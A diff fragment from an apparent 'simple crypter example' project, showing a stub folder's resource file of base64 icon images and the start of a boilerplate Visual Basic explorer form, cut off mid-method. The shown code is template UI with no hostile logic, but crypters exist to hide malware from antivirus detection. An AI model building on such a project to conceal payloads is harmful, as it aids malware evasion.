brLUInG6zb3znLB2PNu68QtfHjjweX2f5+E8OTmHUaJnnoMtTPoZdH3G4fwgd9Y5UjhT9Qy/5WRRbXZk + 1D2XEeh0uJiY8WdHhl99yQiYn7yUw/ud9ij9Yx9VQDy2xdTMFJZHdm63mbhr6iS/RJf+Lp6KPgWwvb2F + OD7Oa880och3voUjOAQRnaGRKsMtNWITvArAPe3F5fbI3+IJ+BXdZWU9gdk2hLZarwa6BycVQJfNzvJq + 5G84/CPOwnIMp3eesspKNdDVN6EAOizdLK2uyZPDG4m98A6+hSgPR3xcLi1VA9JNp5YgOhFdbkIbe5NX + YrxfjPLi0yYNzUbKyssxtTQqkVQgmUzyNRjkXoeZ3oHnPPMGsAo+GpqMaLRXGbhfhWi9rkRSgZ1YgvWf + UfyBAA8sFvTXDNTU1lGhuYT55jlCj8+z+64ae/uNf8g+IK2ZuuVOK/UlJ5g15rFkPcuaU0OT/uKfo0ih + vAu6/3ZB0RX0xcd503yausKjaItPZX9k6X5baRf5x45QeCZXDv8Gd10kHhF4wJIAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAZlJREFUOE+1ktsr + w2EYx/0p7sidnIkWlmMsSQxzlrkxhxySOV4oM9qSHG+ctuVsLCmxG+5QcoOUhZxP++324zdKDit+ylvP + 3fP5vM/zfl8vr/88RqsL45LA6JrA1KaAWSyLXeBXd+rnBdzVNSvQanLSPO5kZPVN4FHSZblicvvN7oZ6 + FlyUGO6I1WwTUWIjJN9KXP0xAzYPArexdfyS0Q2BZpNA76ILle4CuWaLqLI1gnKnia1YJixviozOOybE + vm9rVA9cUD74TOWwkyzdI+FFVkIL5kXY/NqsaLLhnzmGvO6Qlgnnd0Gh/pykthuyu5+pHb7BN8lAYI7p + vdFbpiWq3I689ogWswdBWvsZwdUnJLRdvU5SoDtFO3b7WaC2k6g9p92TILregazqgHD1FoF5K/grZ/BN + 7nsXBKvmiFRvoui4RtPv+DnKr1H5JBrE8Q8pNd7TLcb7q7/wsSm0eJ30zgcytDvSYJX+HlnFLqkdD6Q0 + 7OOnGJImiG90iPAT8TV7BCgt0mD3Ckox1piaA4JyZqXDkh/qL8ALl3QQwQeUb4QAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAZNJREFUOE/Nkt8r + Q2EcxvenuMGSdsE2mptdGGYrU7NiZsoi5HdhyTY/VohdbKSxTdjM1mrKr6SEm7njSolQu9FaRue814/3 + HFHr0CgXTj1X5/l+3ud9vq9I9Fdf9JwgckYQpgocE8zHWVjXWfyIzw1z8h8R2IMsJrZZOKMsRjcohCon + hBv2HhJUWx9R1roHheUAyp4ELB4GAz4WA/53yNYFgXLwWggMnRIYZp4hN66hsjcOmSnGS27eRRuFdHgZ + dFNIgPoqOhN82qxUjhAL1cgdCmvnoRs/5H/KTBGUGsMo1q2iYfaVT9K1wkBq3hcmcEQ4wD0K1C7kKW2f + BmnzNsQaN4Z9aRgXGGgm05A0bAoBUxSgsT9RsycLsLhPwIk7WT2ZgnzoAWLtkhDQv5xEvTONksZYFoAr + TEHvLDUfQKIP8sP5VXNCwMIOQbsnA9XwLe3BnWUQFPbdTg22S+hnXlBuOcm9968gRbTturFr1E2/QNl3 + hRZX5vcgDqK13kDnZFAzlvw94COZxpFCE11bzif8LwxvxTcHtycxLyQAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAaNJREFUOE+V07tL + W2EcxnH/AgcHJ6GjWifxVrR4K81gokdOYpoSpcHEYGuJCDFqFNEajdeUGgmIWomCkMugB4cWiqVLK95A + xU1EBC+oOGq3rzkRnOTw+s6/5/Pw3lJSBBaJJTD2MBJRfjOzpDwG1PDh8Sndg1NiSHAuznhoEe/gdDJw + e/efmPILx2evGKCGJmciBGdjajlnF9c4W3tIT0sVByIra4wGw6xv7fLn7w7mDy3PA8LRH4xNLTARCtPR + H8AgW8Xb1S2MfAvj7gtgd/VS1/ARnV5+HqAiNpcPs60Nk3MIyeYTB6zDN1hGrjANHKP3bGDo2KbGu4+h + fRNdy09tyOK/5P34Dca+Q0qs3ymQA+hca0jdB7xNhIvr57UBs/8c89ApFc7lZLhAnkDv3kDqOqCyWSHf + +FUbqPOdIPcfUdmkkFc7lgRqE+3Vndu8soTIKf+kDRi/HCF59ii1x8k1PByc3v2P0sYo2a/tZLzI1gZq + unYpa4wl2kfJLHyXfDxljjgvS2xkFlnIk/zawJvmVQpNk2QVN5Bb1SN+dcJf9YnBe5GF6RjGCzzaAAAA + AElFTkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAd1JREFUOE+lk99L + U2EYgP1TShlSXdt9RGpSYFB4UVCQRVe70KuuIsMgqxkLnG0Tc5ayzc70RKSLlJlraTJzrl+TlkFtMJVz + dDmnZ/a480mzLdgEX3juvvd5f3zfV1a235DHv6AjjYUFzuEgvfI77tpk9uTWkwvDMRTgastTjtY1lpZ4 + RsN5+ZmtP3T0vcLrD3O+qb20xDkyIwTeCEgfIBRVeeh4iTSh4h5XcPkUHo8omAeXBRfvx/K76pUDuQ42 + NjOoq2liiaQQFEZr/yJVV/yC3H7sbp841+3fxDSsclP6RXNPlL7XS/8JmqwJ5EmVIw1DAiGxZOfV515L + aSwqKRZiK3yKLmF/EReCNikjCM2vcMkU53DDcw6dHaCy/smOQJ93Pa3lKhvtEa5ZPvLAtZDXgfpbY/7n + Ov65VazSNIbTXbsCNZnm8/cEM19jBEI/GHv/jZbuneu90Z/EaIlz4V6EM7dmBVZpCkNd566g6uRlCmk2 + zwqBlh0voWjMRdcYDap43izzaCBARY25+BtpbJ0Ugn8r/+2g0/2W8hOm4oJz132kNrawDwaxeaaxPpsS + lfVki3OCg8fvFBfUGL3ZbbsElfUODKdsVNR2UF7dnk1u48Cx26Wf+Z4+034PbQPvwt9VHJdeuQAAAABJ + RU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAk9JREFUOE+1k1lI + lGEUhn/owm6KFuqqq4LoJooIqouMwixMmzASMzInYlRKRpk0HVJLU3Rym7RsjFwGNbdKlJQiERKHdg3H + aJFIjZwmaxbXyeLp/78YclovogMv5+Z7l3M4nyT9j+pqzabjagbNFSloo3bxR4+m6kJmoyL/AA5bDeO2 + Swz155GkCaQwS8d5gx5jVqKAj6BCnnI24nE1MOWoxVyqY2K0iqRoFU+7kzl5LJhk9XpsXYcYbVuONnL3 + zwIK2eOq40L2QXoseTjfFDPSr+eV5TAtZSqiI/ypSV3Go0KJ2P0/jNRQlS/cPc4rGFIjSdeFo48L40Rs + KDqNinh1MDERARRpVwiB8CB/3wS15QamnfVM201MDOdgfxKHtWqxQF/lInpK53Hf6CfICgI2rfUVMJuy + mbRXMDmYycSzo4w/3ouzdT4FlW3kmJo5da6eZIOZ+IwyolOMRCbk+gqUl2QwNmRkvF/D2INg3HfW8e76 + EkH2lmfmMw7XFIMjDsJiThMSpf8uUlaQhvN5Ju57gbg7V+NqX8pQpSSclSq/1iVgquugb8AmyLe6rewI + VX8TKclN4UPvcVwdq3DeWIi90Y+By5KI/WnmCx/dsvNbB30vbVh6XxMUEU+gTN62cw/+m7cgFZ1JxH43 + RiYv4H3TXIar52C9IKGVZ1ZiexNclBMUm9tp6bSKrmDjmpVIZ9MTxIF4t+ztGnlhs51vW14IcuPNHura + HvoKFKQdkS9MhTp0OyFbNwhlZdvKzF63X3WR4He1T9628uBv+OfP/BWTNfjZ3FJ2xwAAAABJRU5ErkJg + gg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAqRJREFUOE+Fk1tI + 01EYwOdr0HOJvfdm9FpPBZFQDyFBCb71ZoZooZiXMeetnJs6L9O8m2s6clNRN7VdtDmnS5uXleQQ3Zzm + XRMvYfz6b6KVZn3wceBwfr/zfecSIjojqurcbG98F21u7ogODhBlZFwPOWvtqfkAHEiXa5Wa2inUbyaR + SgdIT7fxX8kR7HCsUqJyYbGu8M7ko9c0i6bJjSTDfrboJNzRuYjNtk2/ZQurZYPenlV0unkaGieEigb/ + FJ2E29r9mE0bdHUt09q2SIsANmtnaaifRqVyI5ePkpk9eNjSSVin9wVBvd5Pk2aO+noPlZVTlJRMoFCM + kJMzzNMEE7FPDBzDLtd6sGdN0yxa7Rzq1zPU1kzT1OpD1rxOVNEekbItJJU+5CVjxDw2oGsdOBRomseR + K5zU1Hl4VfGZsmI3ysJxqrR+4jVQboEPc0J6obbvgAfZXlpMbqa9M4jEEisa7RgSaR+ygiFk+SO8zHNS + 3eghTg3aIZhf2CQ118jth1XBUe/Y4WackzylA9GzRAMziz6M5lGSU3oQi63BO89qWEJlJhhH8PCoNygp + qrUjVS8QHWNElJqupkDZzcKmn9llob9CM9KsPu7lrqEfPRQEIlBFQHDtbhmljSM09O8TerkU0Yv8QWHn + XiENmGzjrO1/xWL/RITYh+43wda3vSCcmGlkekk4C/MuF8Jyfr1MSWYfKWk9FBRb8fjnUHXOI2/fOa7A + Luwur3TgEeBx4TATitxERFadftopaSaeC6IO8xduJXykw7nP7g8wvPcSfqOAyXko7Vjh/FUl2Urz3/9G + mthMUnI3dS2TXIkyIq6eQWPbpdGyQ7xiknPhCmKT3tI/4vv351JVOMlX2ol+1EropSwuhqVy5345MpWV + wTF/EP4JaStxoteu5NMAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAtpJREFUOE+Vk1lP + k1EQhutC/CHGGBM1MWpc4oVLSFGhRogfFAREqVCQshSoRRAQSlFUSitQwqKtqChBEepH3IKCC4agxoi4 + YdSw1FTQCFpE5LEfF1aCXjhX55yced7MzDuzZH9ERrGIdGVyUjbXZ7Zsns8c2ei3cdnIV7ds0vNWnhMy + 68//086ZJS0ctIjY29q5/roLsa8Fe28uSWIMguEk0Rl2VJmnpwRmxAGTiMEm0tB9hYdfntIzNkBaYwGm + V1nEXVaw0VhEmKGDUH0NUbrq6RDdMQdZFgcVnWZanDZuDXfSNdpNj9tFfX8zMVYjcusz1lgaWVumQkgu + ZmdKuRciAfLsItZHRZT16rC9t2DvM1L+xE782XrUFUOEHXvL0nNBLDrjz/r8REISSryA1CNNVDjeYRBN + 7HuwjeTOALQ2PWm1nrKqLmEw16AvKibSHMfiUjmLjwQSpC7yApKMjVReGyOnshLFOTlbxVBU5WZKTzdz + o+0Og66PvHe6qL3YRESmhvkFfiiiDV6AJr8Bs8PNgVoXkXoV/pV70NbmcbW1DSl+TMCI+ycDwxNYai6w + ThPElshsL2DfoXqSy96gqfqO2txLYIbGM86j9H9w/U52fv7Bi/5xmtufExQRjm+o3guIyz1PfOFtok98 + Jco0TGj+XfYXGuj7MDSl7Pw04Un+TscLNxUNHWwXgtkgaL0AdU7dlEl2FzxEediJPLcTIV9L09VWBj95 + lAfGuf/SzZWuURJ02QQIu8jLSp3uBclhETo7IQfvsjTVyDJtOLHaFKrrHDS292C92EFCejbByh3UmcJp + siZSYkibDpEcpkwsZXOSGV9VPAq1ESE2B2HnbgIFJWHB27FoNzF4Ss7Pe1HYjqfMhEgOk0wizVkaldRt + qWFSzWEKX2IDVvA4eyV91g0MNQeTHrPt77vxr42TADH+y7mpW81evyUo/Vf9H0ACS5B1yxbit3bBVPIv + gLX/NgWpi8gAAAAASUVORK5CYII= + + + + 119, 17 + + + 557, 17 + + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w + LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAACW + CwAAAk1TRnQBSQFMAgEBAwEAAQQBAAEEAQABIwEAASMBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + AwABjAMAASMDAAEBAQABCAUAASQBExgAAYACAAGAAwACgAEAAYADAAGAAQABgAEAAoACAAPAAQABwAHc + AcABAAHwAcoBpgEAATMFAAEzAQABMwEAATMBAAIzAgADFgEAAxwBAAMiAQADKQEAA1UBAANNAQADQgEA + AzkBAAGAAXwB/wEAAlAB/wEAAZMBAAHWAQAB/wHsAcwBAAHGAdYB7wEAAdYC5wEAAZABqQGtAgAB/wEz + AwABZgMAAZkDAAHMAgABMwMAAjMCAAEzAWYCAAEzAZkCAAEzAcwCAAEzAf8CAAFmAwABZgEzAgACZgIA + AWYBmQIAAWYBzAIAAWYB/wIAAZkDAAGZATMCAAGZAWYCAAKZAgABmQHMAgABmQH/AgABzAMAAcwBMwIA + AcwBZgIAAcwBmQIAAswCAAHMAf8CAAH/AWYCAAH/AZkCAAH/AcwBAAEzAf8CAAH/AQABMwEAATMBAAFm + AQABMwEAAZkBAAEzAQABzAEAATMBAAH/AQAB/wEzAgADMwEAAjMBZgEAAjMBmQEAAjMBzAEAAjMB/wEA + ATMBZgIAATMBZgEzAQABMwJmAQABMwFmAZkBAAEzAWYBzAEAATMBZgH/AQABMwGZAgABMwGZATMBAAEz + AZkBZgEAATMCmQEAATMBmQHMAQABMwGZAf8BAAEzAcwCAAEzAcwBMwEAATMBzAFmAQABMwHMAZkBAAEz + AswBAAEzAcwB/wEAATMB/wEzAQABMwH/AWYBAAEzAf8BmQEAATMB/wHMAQABMwL/AQABZgMAAWYBAAEz + AQABZgEAAWYBAAFmAQABmQEAAWYBAAHMAQABZgEAAf8BAAFmATMCAAFmAjMBAAFmATMBZgEAAWYBMwGZ + AQABZgEzAcwBAAFmATMB/wEAAmYCAAJmATMBAANmAQACZgGZAQACZgHMAQABZgGZAgABZgGZATMBAAFm + AZkBZgEAAWYCmQEAAWYBmQHMAQABZgGZAf8BAAFmAcwCAAFmAcwBMwEAAWYBzAGZAQABZgLMAQABZgHM + Af8BAAFmAf8CAAFmAf8BMwEAAWYB/wGZAQABZgH/AcwBAAHMAQAB/wEAAf8BAAHMAQACmQIAAZkBMwGZ + AQABmQEAAZkBAAGZAQABzAEAAZkDAAGZAjMBAAGZAQABZgEAAZkBMwHMAQABmQEAAf8BAAGZAWYCAAGZ + AWYBMwEAAZkBMwFmAQABmQFmAZkBAAGZAWYBzAEAAZkBMwH/AQACmQEzAQACmQFmAQADmQEAApkBzAEA + ApkB/wEAAZkBzAIAAZkBzAEzAQABZgHMAWYBAAGZAcwBmQEAAZkCzAEAAZkBzAH/AQABmQH/AgABmQH/ + ATMBAAGZAcwBZgEAAZkB/wGZAQABmQH/AcwBAAGZAv8BAAHMAwABmQEAATMBAAHMAQABZgEAAcwBAAGZ + AQABzAEAAcwBAAGZATMCAAHMAjMBAAHMATMBZgEAAcwBMwGZAQABzAEzAcwBAAHMATMB/wEAAcwBZgIA + AcwBZgEzAQABmQJmAQABzAFmAZkBAAHMAWYBzAEAAZkBZgH/AQABzAGZAgABzAGZATMBAAHMAZkBZgEA + AcwCmQEAAcwBmQHMAQABzAGZAf8BAALMAgACzAEzAQACzAFmAQACzAGZAQADzAEAAswB/wEAAcwB/wIA + AcwB/wEzAQABmQH/AWYBAAHMAf8BmQEAAcwB/wHMAQABzAL/AQABzAEAATMBAAH/AQABZgEAAf8BAAGZ + AQABzAEzAgAB/wIzAQAB/wEzAWYBAAH/ATMBmQEAAf8BMwHMAQAB/wEzAf8BAAH/AWYCAAH/AWYBMwEA + AcwCZgEAAf8BZgGZAQAB/wFmAcwBAAHMAWYB/wEAAf8BmQIAAf8BmQEzAQAB/wGZAWYBAAH/ApkBAAH/ + AZkBzAEAAf8BmQH/AQAB/wHMAgAB/wHMATMBAAH/AcwBZgEAAf8BzAGZAQAB/wLMAQAB/wHMAf8BAAL/ + ATMBAAHMAf8BZgEAAv8BmQEAAv8BzAEAAmYB/wEAAWYB/wFmAQABZgL/AQAB/wJmAQAB/wFmAf8BAAL/ + AWYBAAEhAQABpQEAA18BAAN3AQADhgEAA5YBAAPLAQADsgEAA9cBAAPdAQAD4wEAA+oBAAPxAQAD+AEA + AfAB+wH/AQABpAKgAQADgAMAAf8CAAH/AwAC/wEAAf8DAAH/AQAB/wEAAv8CAAP/AQBJ7Af5AW4D7AGn + BvwBpwTsAXIG+gLsIwAP7AGnAvwBBgFVNewH+QFuA+wBpwb8AacE7AFyBvoC7CMACuwBpwf8AQYF+gFV + MOwH+QFuA+wBpwb8AacE7AFyBvoC7CMACewBpwj8AQYG+gFVL+wH+QFuA+wBpwb8AacE7AFyBvoC7CMA + B+wBpwr8AQYI+gFVLewH+QFuA+wBpwb8AacE7AFyBvoC7CMABuwBpwv8AQYJ+gFVLOwH+QFuA+wBpwb8 + AacE7AFyBvoC7CMABewBpwz8AQYK+gFVBewBpyXsB/kBbgPsAacG/AGnBOwBcgb6AuwjAATsAacN/AEG + C/oBVQTsAa4CpyPsB/kBbgPsAacG/AGnBOwBcgb6AuwjAATsDvwBBgz6BewCrgGnIuwH+QFuA+wBpwb8 + AacE7AFyBvoC7CMAA+wBpw78AQYM+gFVBuwBrgKnAa4E7AJVAXIY7Af5AW4D7AGnBvwBpwTsAXIG+gLs + IwAC7AGnD/wBBg36AVUC7AFGA+wCrgGnAa4B7ANVAXICVQFyAW4BRgFuA+wBrgGnDuwH+QFuA+wBpwb8 + AacE7AFyBvoC7CMAAuwQ/AEGDvoC7AFuAkYD7AFwA1UBcgLsAXIBSwJQAW4CRgFoBacM7Af5AW4D7AGn + BvwBpwTsAXIG+gLsIwAC7BD8AQYO+gPsAm4BRgNVAnIBiwGnAWgDRgFyAVUBcgGMAYcBBQFiAWgCrgKn + C+wH+QFuA+wBpwb8AacE7AFyBvoC7CMAAuwQ/AEGDvoE7AFVAS8BVgEDAUYBbgHsAWgBYgEFAWgBRgFu + AewBcgJVAYsBjARGAewBiwhVA+wH+QFuA+wBpwb8AacE7AFyBvoC7CMAAuwQ/AEGDvoC7ARVAewBbgVG + AYwCpwKuAacBiwVVAi8CVQFxAYoBBgVVA+wH+QFuA+wBpwb8AacE7AFyBvoC7CMAAewBpxD8AQYO+gFV + AewCVQXsAW4BRgPsAa4EpwGuAewBcgVVAVABKgFoA6cH7Af5AW4D7AGuBqcBrgTsAXIG+gLsIwAB7BD8 + AcQBSQ/6D+wCrgnsAW4DRgFoAqcG7Af5AW4P7AFyBvoC7CMAAewP/AHEAUABJQE0Dvod7ANGAQUCpwTs + B/kBbg/sAXIGVQLsIwAB7A78AcQBQAL5ASUBNA36H+wCRgIFAacD7Af5AW4Y7CMAAewBpw38AWIE+QEl + ATQL+gFVIewCRgGHA+wH+QFuGOwjAALsDPwBxAFABfkBJQE0Cvok7AFGA+wHRgFuGOwjAALsC/wBxAFA + B/kBJQE0CfpI7CMAAuwK/AHEAUAJ+QElATQI+kjsIwAC7Ar8AWIL+QElATQH+kjsIwAC7AGnCPwBxAFA + DPkBJQE0BfoBVUjsIwAD7AGnBvwBxAFADvkBJQE0A/oBVUnsIwAE7AX8AcQBQBD5ASUBNAL6SuwjAATs + AacE/AFAEvkBJQE0AVVK7CMABewBpwL8AcQBQBP5AUZL7CMABuwBpwHEAUAT+QFGTOwjAAfsAUYT+QFG + TewjAAnsAUYP+QFGT+wjAArsAUYN+QFGUOwjAA/sAUYD+QFGVewjAGnsIwABQgFNAT4HAAE+AwABKAMA + AYwDAAEjAwABAQEAAQEFAAG8AQIWAAP//wD/AL8ACw== + + + + 17, 54 + + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w + LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAA8 + CAAAAk1TRnQBSQFMAgEBAwEAAQUBAAEEAQABEQEAAREBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + AwABRAMAAREDAAEBAQABCAUAAYQBBBgAAYACAAGAAwACgAEAAYADAAGAAQABgAEAAoACAAPAAQABwAHc + AcABAAHwAcoBpgEAATMFAAEzAQABMwEAATMBAAIzAgADFgEAAxwBAAMiAQADKQEAA1UBAANNAQADQgEA + AzkBAAGAAXwB/wEAAlAB/wEAAZMBAAHWAQAB/wHsAcwBAAHGAdYB7wEAAdYC5wEAAZABqQGtAgAB/wEz + AwABZgMAAZkDAAHMAgABMwMAAjMCAAEzAWYCAAEzAZkCAAEzAcwCAAEzAf8CAAFmAwABZgEzAgACZgIA + AWYBmQIAAWYBzAIAAWYB/wIAAZkDAAGZATMCAAGZAWYCAAKZAgABmQHMAgABmQH/AgABzAMAAcwBMwIA + AcwBZgIAAcwBmQIAAswCAAHMAf8CAAH/AWYCAAH/AZkCAAH/AcwBAAEzAf8CAAH/AQABMwEAATMBAAFm + AQABMwEAAZkBAAEzAQABzAEAATMBAAH/AQAB/wEzAgADMwEAAjMBZgEAAjMBmQEAAjMBzAEAAjMB/wEA + ATMBZgIAATMBZgEzAQABMwJmAQABMwFmAZkBAAEzAWYBzAEAATMBZgH/AQABMwGZAgABMwGZATMBAAEz + AZkBZgEAATMCmQEAATMBmQHMAQABMwGZAf8BAAEzAcwCAAEzAcwBMwEAATMBzAFmAQABMwHMAZkBAAEz + AswBAAEzAcwB/wEAATMB/wEzAQABMwH/AWYBAAEzAf8BmQEAATMB/wHMAQABMwL/AQABZgMAAWYBAAEz + AQABZgEAAWYBAAFmAQABmQEAAWYBAAHMAQABZgEAAf8BAAFmATMCAAFmAjMBAAFmATMBZgEAAWYBMwGZ + AQABZgEzAcwBAAFmATMB/wEAAmYCAAJmATMBAANmAQACZgGZAQACZgHMAQABZgGZAgABZgGZATMBAAFm + AZkBZgEAAWYCmQEAAWYBmQHMAQABZgGZAf8BAAFmAcwCAAFmAcwBMwEAAWYBzAGZAQABZgLMAQABZgHM + Af8BAAFmAf8CAAFmAf8BMwEAAWYB/wGZAQABZgH/AcwBAAHMAQAB/wEAAf8BAAHMAQACmQIAAZkBMwGZ + AQABmQEAAZkBAAGZAQABzAEAAZkDAAGZAjMBAAGZAQABZgEAAZkBMwHMAQABmQEAAf8BAAGZAWYCAAGZ + AWYBMwEAAZkBMwFmAQABmQFmAZkBAAGZAWYBzAEAAZkBMwH/AQACmQEzAQACmQFmAQADmQEAApkBzAEA + ApkB/wEAAZkBzAIAAZkBzAEzAQABZgHMAWYBAAGZAcwBmQEAAZkCzAEAAZkBzAH/AQABmQH/AgABmQH/ + ATMBAAGZAcwBZgEAAZkB/wGZAQABmQH/AcwBAAGZAv8BAAHMAwABmQEAATMBAAHMAQABZgEAAcwBAAGZ + AQABzAEAAcwBAAGZATMCAAHMAjMBAAHMATMBZgEAAcwBMwGZAQABzAEzAcwBAAHMATMB/wEAAcwBZgIA + AcwBZgEzAQABmQJmAQABzAFmAZkBAAHMAWYBzAEAAZkBZgH/AQABzAGZAgABzAGZATMBAAHMAZkBZgEA + AcwCmQEAAcwBmQHMAQABzAGZAf8BAALMAgACzAEzAQACzAFmAQACzAGZAQADzAEAAswB/wEAAcwB/wIA + AcwB/wEzAQABmQH/AWYBAAHMAf8BmQEAAcwB/wHMAQABzAL/AQABzAEAATMBAAH/AQABZgEAAf8BAAGZ + AQABzAEzAgAB/wIzAQAB/wEzAWYBAAH/ATMBmQEAAf8BMwHMAQAB/wEzAf8BAAH/AWYCAAH/AWYBMwEA + AcwCZgEAAf8BZgGZAQAB/wFmAcwBAAHMAWYB/wEAAf8BmQIAAf8BmQEzAQAB/wGZAWYBAAH/ApkBAAH/ + AZkBzAEAAf8BmQH/AQAB/wHMAgAB/wHMATMBAAH/AcwBZgEAAf8BzAGZAQAB/wLMAQAB/wHMAf8BAAL/ + ATMBAAHMAf8BZgEAAv8BmQEAAv8BzAEAAmYB/wEAAWYB/wFmAQABZgL/AQAB/wJmAQAB/wFmAf8BAAL/ + AWYBAAEhAQABpQEAA18BAAN3AQADhgEAA5YBAAPLAQADsgEAA9cBAAPdAQAD4wEAA+oBAAPxAQAD+AEA + AfAB+wH/AQABpAKgAQADgAMAAf8CAAH/AwAC/wEAAf8DAAH/AQAB/wEAAv8CAAP/AQAj7AT5AuwD/APs + A/oB7BEABewE/AP6F+wE+QLsA/wD7AP6AewRAAPsBvwE+hbsBPkC7AP8A+wD+gHsEQAC7Af8BfoV7AT5 + AuwD/APsA/oB7BEAAuwH/Ab6A+wB/BDsBPkC7AP8A+wD+gHsEQAB7Aj8B/oF7AH6AewB+gHsAfkJ7AT5 + AuwD/APsA/oB7BEAAewI/Af6AuwB+QH6AewB/AL5AuwB/AH5AewB/AXsBPkC7AP8A+wD+gHsEQAB7Aj8 + B/oB7AH6AuwB+QLsAvwB7AT6AfwE7AT5AuwD/APsA/oB7BEACPwB+Qf6DuwB+QTsBPkI7AP6AewRAAf8 + A/kG+hDsAfkB/AHsBPkM7BEAAewG/AT5Bfoj7BEAAewF/Ab5BPoj7BEAAewE/Aj5Avok7BEAAuwC/Ar5 + Afok7BEAA+wB/Ar5JewRAATsCPkn7BEAB+wC+SrsEQABQgFNAT4HAAE+AwABKAMAAUQDAAERAwABAQEA + AQEFAAHMFwAD/80ACw== + + + \ No newline at end of file diff --git a/scode (Elm0D Simple Crypter Example/Stb/Explorer1.vb b/scode (Elm0D Simple Crypter Example/Stb/Explorer1.vb new file mode 100644 index 0000000..a1bc65c --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/Stb/Explorer1.vb @@ -0,0 +1,192 @@ +Imports System.Diagnostics +Imports System.Windows.Forms + +Public Class Explorer1 + + Private Sub Explorer1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load + 'Set up the UI + SetUpListViewColumns() + LoadTree() + End Sub + + Private Sub LoadTree() + ' TODO: Add code to add items to the treeview + + Dim tvRoot As TreeNode + Dim tvNode As TreeNode + + tvRoot = Me.TreeView.Nodes.Add("Root") + tvNode = tvRoot.Nodes.Add("TreeItem1") + tvNode = tvRoot.Nodes.Add("TreeItem2") + tvNode = tvRoot.Nodes.Add("TreeItem3") + End Sub + + Private Sub LoadListView() + ' TODO: Add code to add items to the listview based on the selected item in the treeview + + Dim lvItem As ListViewItem + ListView.Items.Clear() + + lvItem = ListView.Items.Add("ListViewItem1") + lvItem.ImageKey = "Graph1" + lvItem.SubItems.AddRange(New String() {"Column2", "Column3"}) + + lvItem = ListView.Items.Add("ListViewItem2") + lvItem.ImageKey = "Graph2" + lvItem.SubItems.AddRange(New String() {"Column2", "Column3"}) + + lvItem = ListView.Items.Add("ListViewItem3") + lvItem.ImageKey = "Graph3" + lvItem.SubItems.AddRange(New String() {"Column2", "Column3"}) + End Sub + + Private Sub SetUpListViewColumns() + + ' TODO: Add code to set up listview columns + Dim lvColumnHeader As ColumnHeader + + ' Setting Column widths applies only to the current view, so this line + ' explicitly sets the ListView to be showing the SmallIcon view + ' before setting the column width + SetView(View.SmallIcon) + + lvColumnHeader = ListView.Columns.Add("Column1") + ' Set the SmallIcon view column width large enough so that the items + ' do not overlap + ' Note that the second and third column do not appear in SmallIcon + ' view, so there is no need to set those while in SmallIcon view + lvColumnHeader.Width = 90 + + ' Change the view to Details and set up the appropriate column + ' widths for the Details view differently than SmallIcon view + SetView(View.Details) + + ' The first column needs to be slightly larger in Details view than it + ' was for SmallIcon view, and Column2 and Column3 need explicit sizes + ' set for Details view + lvColumnHeader.Width = 100 + + lvColumnHeader = ListView.Columns.Add("Column2") + lvColumnHeader.Width = 70 + + lvColumnHeader = ListView.Columns.Add("Column3") + lvColumnHeader.Width = 70 + + End Sub + + Private Sub ExitToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ExitToolStripMenuItem.Click + 'Close this form + Me.Close() + End Sub + + Private Sub ToolBarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolBarToolStripMenuItem.Click + 'Toggle the visibility of the toolstrip and also the checked state of the associated menu item + ToolBarToolStripMenuItem.Checked = Not ToolBarToolStripMenuItem.Checked + 